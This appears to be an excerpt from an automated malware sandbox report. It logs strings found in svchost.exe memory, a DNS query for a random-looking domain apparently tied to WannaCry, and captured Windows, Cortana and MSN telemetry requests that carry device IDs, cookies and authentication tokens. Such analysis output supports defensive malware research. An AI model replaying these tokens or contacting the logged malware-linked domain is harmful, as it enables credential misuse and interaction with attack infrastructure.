Source: svchost.exe, 0000001A.00000003.744142929.00000165A7594000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745547238.00000165A7576000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744345175.00000165A7A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744268794.00000165A75A5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745579768.00000165A7579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hotspotshield.com/terms/
Source: svchost.exe, 0000001A.00000003.744142929.00000165A7594000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745547238.00000165A7576000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744345175.00000165A7A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.744268794.00000165A75A5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.745579768.00000165A7579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pango.co/privacy
Source: svchost.exe, 0000001A.00000003.757467744.00000165A7A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.757437695.00000165A7592000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.756765575.00000165A75B9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.757201919.00000165A75A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.756810838.00000165A75B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitContent-type: text/xmlX-MSEdge-ExternalExpType: JointCoordX-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40X-PositionerType: DesktopX-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -480X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-BM-DeviceScale: 100X-Search-TimeZone: Bias=480; StandardBias=0; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-BM-DeviceDimensionsLogical: 1232x1024X-BM-DeviceDimensions: 1232x1024X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAARa1E%2BxM1GZ4gn6pDn3APGPBd2d5h0M0t8vWgduHknAF4CuVF8BdGFEsNfwEKsAarX8Z7bQ64h6dhmJf04baM2e/Pda5Ys1YIWudUaLf1Q22V8bLB9ZL9tCDNH5gAX8oIHkiPRSLDvLze6jHTN38Xp7L6LMfWC2cG7Jq%2BuBqn1BLvyw0WWIDCEFVIEpRnBbRocBqEr%2BYZei%2BUP0L4dKx6isIE/BiAJA/MU7M0Y2cmOYjolXfCG/CSm01r9UCtGdwuViQd5AEsTONQ5SxZ8e8JbBit83IdjrCKhCi7kSfk/8o5bzZEi%2BQWR6efIUSnL4eY0Obw1BSbET5Vq1jCBcTD2cDZgAACO/loQylKFkHqAFGQyVfBEpS7RL6iwJW51mrzWZVi3Z5zMfZe8hhsgqodsWOn1HUS65JIXdUTF3HqbN3oDgdsnOzBr097uz9iIgqXWaPh3kx9CyUZ84h6yQ9Iauh10fV2e88qmzGrtZ0LP/aABK3GmiitF9NbAnQDCQGXVLTyHZ8AXwkiJAU0FABFw/Hc2khswrjSGSIAn9ykP8Kb72G2jXPPOjnYYvlY1afbpGjcvtSG/j6lxojtzFE7/Yi39SFLN7j9fElE0/A/XV55Ol3Dj7aO5GnKwDXyIiPHMHP3O%2BEIsCx4q2i8icZHtE0YXelO9Zs63Ak/5vdpE0MBdIW69pboYmhwvSr94SGj0OkpjGJRkz33tcqbi12mtFkRRg3V3Z38HgVpACRJBYhpdHi62DmUG%2Bru/4ALiiP9RILmJ1yN5rEGY0zDa7IzdcCTpym56Yb/OJ2c1CZxrOK6MzGVMWJ3iolVqEB7XY9gu56Qa4AYAOcmDEMo/4XcOycuyKs5%2Bzwi2%2BQPzyQ4%2BsfOvDqAHgm%2BQLlhucHFzwOYegTle6meyPEPtOmwOZEKuDrcHb79X7u1AE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1646756769X-Device-isOptin: trueX-Device-Touch: falseX-Device-ClientSession: 7F5B29081F5049808846537278FF1D4AX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderAccept: */*Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: www.bing.comContent-Length: 81571Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1658333216075&AC=1&CPH=4ef661f2

Source: unknown

DNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220308T162801Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8d0f7ed5f91f43be9ea85a975c062624&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418195&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1418195&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6Cache-Control: no-cacheMS-CV: xLI6+xurWUeW1Yfv.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220308T162802Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=db4321de229945348269bfc4ccead466&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418195&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1418195&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6Cache-Control: no-cacheMS-CV: xLI6+xurWUeW1Yfv.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcHikNthsPmyHB46AmBTQ%2Bo/1R32V/2pOSDROXy2DLs7RL87TKgXW5X/fW8wZXqiDpINwJlUXgyp/g%2Bq/ZO2uD8J8jOZ76sVnEn6mfVzAzbFeBEyfdxY8ju4PwtqMY99OaFq8vEa/xU9RJCRJMAi6Hh4yXFarU3OldDaGSF5bUox/HE%2B0USj5GIFa%2B39xqeOqBdh2GXK/Iqq7OQrzmLNlAw4IQovpZDCX2ifndE%2BmLk4xgdFO6kHf9C/3HYRZqWciOZZmOXb99AaxHqHRtQ5dV3ncOXed0IDajtxSklSJtrvFXNnpsLfAgSbZyziiUZpLMEvPwtoB%2BESDkbbhX/dYmMDZgAACFY5hf88AG1lqAF9B1%2BWaLRy3kpK1v8Be12iYFp/BEfMSA3tppt4rA8z2y5whQl0TMbLEVEyaIrbq4kl4Er9wt5ZpKgq2R6W7a16P37ngLePBYqRpyP4Xaz%2BiCUTN8OtZtaK0g8Z6L4hZw6iSs5cfPvfYbt97QxJWBwjmEUu/x/XLS3WXeQkWeueeO90QiThvOae1Aa4eJTeTKomYcLpYjzrsATexblCGw8SPWmvU7boJm8NwnokfYEpRaVg%2B/T3RUFpzKOkYOiSW0RSZPDbCV9YblCJ6IECy4OJgTcpwXcNWggcAarDSXJlL2CgdSof5Du/%2BWm3M7kN09PF6vWZBrbcqyXas27cC%2BYi8m7DM1WvOieMmY6tYcYcjVGRuPYpCFGnDaqMmvkBTHXHKh0hduDiwWb19kyEnTGcgEglZY1b1B%2B4MhFz7EGbQwKoZY//OgwLVu1PzxAuNCQkfFDCVXpjUjM9jRFKC1vQUUPOmR%2BTtYDSlhADqFTiEryCo7eJhq764Fi27MPRPJqM1oJ5VgGEMSy/TW7zpijCnm1wnFllKBTgYJ4CmFFWKIzmfOc0%2BrW21gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658333215User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: 3CBFA773C2AF4C5583A2BFEA2846B3B6X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcHikNthsPmyHB46AmBTQ%2Bo/1R32V/2pOSDROXy2DLs7RL87TKgXW5X/fW8wZXqiDpINwJlUXgyp/g%2Bq/ZO2uD8J8jOZ76sVnEn6mfVzAzbFeBEyfdxY8ju4PwtqMY99OaFq8vEa/xU9RJCRJMAi6Hh4yXFarU3OldDaGSF5bUox/HE%2B0USj5GIFa%2B39xqeOqBdh2GXK/Iqq7OQrzmLNlAw4IQovpZDCX2ifndE%2BmLk4xgdFO6kHf9C/3HYRZqWciOZZmOXb99AaxHqHRtQ5dV3ncOXed0IDajtxSklSJtrvFXNnpsLfAgSbZyziiUZpLMEvPwtoB%2BESDkbbhX/dYmMDZgAACFY5hf88AG1lqAF9B1%2BWaLRy3kpK1v8Be12iYFp/BEfMSA3tppt4rA8z2y5whQl0TMbLEVEyaIrbq4kl4Er9wt5ZpKgq2R6W7a16P37ngLePBYqRpyP4Xaz%2BiCUTN8OtZtaK0g8Z6L4hZw6iSs5cfPvfYbt97QxJWBwjmEUu/x/XLS3WXeQkWeueeO90QiThvOae1Aa4eJTeTKomYcLpYjzrsATexblCGw8SPWmvU7boJm8NwnokfYEpRaVg%2B/T3RUFpzKOkYOiSW0RSZPDbCV9YblCJ6IECy4OJgTcpwXcNWggcAarDSXJlL2CgdSof5Du/%2BWm3M7kN09PF6vWZBrbcqyXas27cC%2BYi8m7DM1WvOieMmY6tYcYcjVGRuPYpCFGnDaqMmvkBTHXHKh0hduDiwWb19kyEnTGcgEglZY1b1B%2B4MhFz7EGbQwKoZY//OgwLVu1PzxAuNCQkfFDCVXpjUjM9jRFKC1vQUUPOmR%2BTtYDSlhADqFTiEryCo7eJhq764Fi27MPRPJqM1oJ5VgGEMSy/TW7zpijCnm1wnFllKBTgYJ4CmFFWKIzmfOc0%2BrW21gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658333215User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: 3CBFA773C2AF4C5583A2BFEA2846B3B6X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160748Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=42e18a68223d49e187e0b25d90e0a9aa&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-280815&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATpaYCQdTtGNF2/h9X4EvSM+EVBFm7iwPJGlrjBCnRLMR9WARfLGTkSLCn/GhxaaG3MFOLBZ09L0VCbmwsd3Go+KTbJ8baanzzYsSo6WOmMRtYaUjB/QMU5eDXXlq8i3Atmprhpz6lcfxF2GEnupby8zrTKY/FALGKCR0FbUPZK1dZ0I5smoB3nuQWhhoqpAHIAbwQrSt0liw2minFZXZcZxrtZr966a/ovDDIGmRJESg3dumtDNzPciy2sMT4b6AR+tbCbWu4xg1Kt0DbLvMMaEfdyKzSy7gKygthj79MvqlwwIylBEag4xn6SV8LnyNGv3qS8x+jjOruiO8k5J4Z4DZgAACM2cVdj9pZE6qAGjPsTgXZkb1zKZd1ltFjC2wWB9hBYtJujATItZAgIBFRZSKQgkzUbHrhNI2i6tgDWTTDWw+8IAYNxJQozgc8oNiSvx2y03nbT1phyS1TmoyLADbHxqjHS2/LVRztVRxy2MQCvtYe/Qg7ucAr8MMPMtXUnyczJZcE24va+hD0m375ppFr8FWpm7rtn+tesHe04q5z7pgPzM0RjUvGRObjnbw1B+H6JcgnncclOlOQJltnAn5i2JpNAL77hpHWj+gxk6gObJtBKSpm7xStwe1kWJ5DSN6N6yfr3UOtzlVomRxJFWApHVhhx4MEA/NQ8+d1UeumLYq7xcqJI5/CciIGHdGjJoRC9rmOrcZHBo0bWdQ+3rc0Rle3qm/w9TDT8uuUsfYk3tit4YxoW1OnAUEAXqd85r+CJGopr3Y9Jv6KqoMO453gVsnOL62VYRuo06pTHUX2cfqRYhLojD+TFxHP1V2Tu4Nx8JKP/f25M5kSxVarulnTYWd1W/6Wa+FfP6a0R3J0gV3Atk8ZBEiqrGugxaU3ZbNBzm2OqQ9B4aqdKX9tWysU+21/NK1gE=&p=Cache-Control: no-cacheMS-CV: R4MDVFUt1EqdhKtw.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160747Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b9881f90ef8e410ea1730211a22b37cd&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-338389&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAZwALJb5vtWd5VHSI+TC/aa6hMz8v+dn/hExqJtvBSaeQhKfsdXtw7MSqOWqwPOK5qvsXDtALT+AoXCWbxnVnIqjkez9fBN2R/lCWIRFTtVu8YIDPViRXK7YD78tLkXUsPwfv9pvVFSWWvqTJak1CkSAf3rYbClnuY1Y+TJProEOO4ggKx09dhFBrMGvOQ/N5/SgGqek6rPPxVFc3w4BR2HIAu+f3im82yEf/P83mhJnQ/cHMEKkgbMavZ4PX87agvM1Xo0H2/PhVGVCU3mozNdD9XbnlwKQfoOgLPAsrho9rs5Gb/6t4LWYhEqv5mM7QNmczcUQhxO1+23e2eLREacDZgAACDLm9QYbBDheqAFn+JTal7sy5qgZX6o+jIc09NzDbRs7qovG6gvxepDFBTD3aZkQvJUgllLnAVEFNi2Yz2GmwFSA+0Ag3V3ZPmSqhtkryvHdUFGLf1uzvYwOTGWACkJE5xZ+Jp9+8BouwwOOTQImfdvMTlTk4mLtgvqYBGDmGzkPIyE147fD2TlN6RfWVjh/Dq4gVGEwCiAdB7qp3LGPocEwUsrZp+rw9LMlkjxsPufdVSkUaz5KzUS8n/bJsANfJ/53eL83qn2Ug6iiFSeML1iTIdqD4Xbgo5oamgfW7xR2Sek9AS44aZ3BOb7PDbIyP1X7/CvxtElt+i4Rw9GQTFXa9R0XLM7jVNnGLAzczm7USaRmxyBZI+6JwoqVXU3IMPLNeSV1MdtakXqnPJST4g+8BuL6QGp5h3ITwhWn3bfgg8B5Ot2QMYPpc6YrLP76LJs4bfFhRexiQeqxyhqNFqz+Bstx99iY0zwM3yW+6lkLTuFSqGp4r1UQ8W67d3wLUSr6hoJTJNjik/0PE2jPNGao1DTKbl3c/ZOs17kIVI4uo5gebyW4w6mhSoiR8XfatlE+1gE=&p=Cache-Control: no-cacheMS-CV: R4MDVFUt1EqdhKtw.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160757Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=678d4fdfe11c44028eb44821f99ccf51&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-338388&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0zda8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p=Cache-Control: no-cacheMS-CV: R4MDVFUt1EqdhKtw.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160804Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=044f5e8e22ed42bab38cb3102e38afb9&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-338387&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0zda8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p=Cache-Control: no-cacheMS-CV: R4MDVFUt1EqdhKtw.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
